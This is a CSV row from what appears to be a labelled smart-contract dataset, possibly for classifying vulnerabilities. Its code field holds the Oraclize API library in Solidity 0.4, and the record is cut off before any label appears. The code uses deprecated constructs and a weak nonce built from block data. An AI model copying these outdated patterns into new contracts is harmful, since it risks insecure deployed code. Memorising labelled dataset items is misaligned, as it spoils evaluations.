filename,code,label,label_encoded,label_clean 822.sol,"pragma solidity ^0.4.11; // /* Copyright (c) 2015-2016 Oraclize SRL Copyright (c) 2016 Oraclize LTD Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ""Software""), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.4.0;//please import oraclizeAPI_pre0.4.sol when solidity < 0.4.0 contract OraclizeI { address public cbAddress; function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id); function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id); function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id); function getPrice(string _datasource) returns (uint _dsprice); function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice); function useCoupon(string _coupon); function setProofType(byte _proofType); function setConfig(bytes32 _config); function setCustomGasPrice(uint _gasPrice); function randomDS_getSessionPubKeyHash() returns(bytes32); } contract OraclizeAddrResolverI { function getAddress() returns (address _addr); } contract usingOraclize { uint constant day = 60*60*24; uint constant week = 60*60*24*7; uint constant month = 60*60*24*30; byte constant proofType_NONE = 0x00; byte constant proofType_TLSNotary = 0x10; byte constant proofType_Android = 0x20; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; uint8 constant networkID_auto = 0; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_morden = 2; uint8 constant networkID_consensys = 161; OraclizeAddrResolverI OAR; OraclizeI oraclize; modifier oraclizeAPI { if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto); if(address(oraclize) != OAR.getAddress()) oraclize = OraclizeI(OAR.getAddress()); _; } modifier coupon(string code){ oraclize = OraclizeI(OAR.getAddress()); oraclize.useCoupon(code); _; } function oraclize_setNetwork(uint8 networkID) internal returns(bool){ if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName(""eth_mainnet""); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName(""eth_ropsten3""); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName(""eth_kovan""); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName(""eth_rinkeby""); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 myid, string result) { __callback(myid, result, new bytes(0)); } function __callback(bytes32 myid, string result, bytes proof) { } function oraclize_useCoupon(string code) oraclizeAPI internal { oraclize.useCoupon(code); } function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource); } function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){ return oraclize.getPrice(datasource, gaslimit); } function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(0, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query.value(price)(timestamp, datasource, arg); } function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(0, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2); } function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit); } function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = stra2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { string[] memory dynargs = new string[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(0, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource); if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN.value(price)(timestamp, datasource, args); } function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){ uint price = oraclize.getPrice(datasource, gaslimit); if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price bytes memory args = ba2cbor(argN); return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit); } function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_setConfig(bytes32 config) oraclizeAPI internal { return oraclize.setConfig(config); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal returns (string) { return strConcat(_a, _b, _c, _d, """"); } function strConcat(string _a, string _b, string _c) internal returns (string) { return strConcat(_a, _b, _c, """", """"); } function strConcat(string _a, string _b) internal returns (string) { return strConcat(_a, _b, """", """", """"); } // parseInt function parseInt(string _a) internal returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal returns (string){ if (i == 0) return ""0""; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } function stra2cbor(string[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } function ba2cbor(bytes[] arr) internal returns (bytes) { uint arrlen = arr.length; // get correct cbor output length uint outputlen = 0; bytes[] memory elemArray = new bytes[](arrlen); for (uint i = 0; i < arrlen; i++) { elemArray[i] = (bytes(arr[i])); outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types } uint ctr = 0; uint cborlen = arrlen + 0x80; outputlen += byte(cborlen).length; bytes memory res = new bytes(outputlen); while (byte(cborlen).length > ctr) { res[ctr] = byte(cborlen)[ctr]; ctr++; } for (i = 0; i < arrlen; i++) { res[ctr] = 0x5F; ctr++; for (uint x = 0; x < elemArray[i].length; x++) { // if there's a bug with larger strings, this may be the culprit if (x % 23 == 0) { uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x; elemcborlen += 0x40; uint lctr = ctr; while (byte(elemcborlen).length > ctr - lctr) { res[ctr] = byte(elemcborlen)[ctr - lctr]; ctr++; } } res[ctr] = elemArray[i][x]; ctr++; } res[ctr] = 0xFF; ctr++; } return res; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ if ((_nbytes == 0)||(_nbytes > 32)) throw; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes[3] memory args = [unonce, nbytes, sessionKeyHash]; bytes32 queryId = oraclize_query(_delay, ""random"", args, _customGasLimit); oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(sha3(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(sha3(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = 1; //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex""fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c""; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex""7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4""; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != ""L"")||(_proof[1] != ""P"")||(_proof[2] != 1)) throw; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) throw; _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' 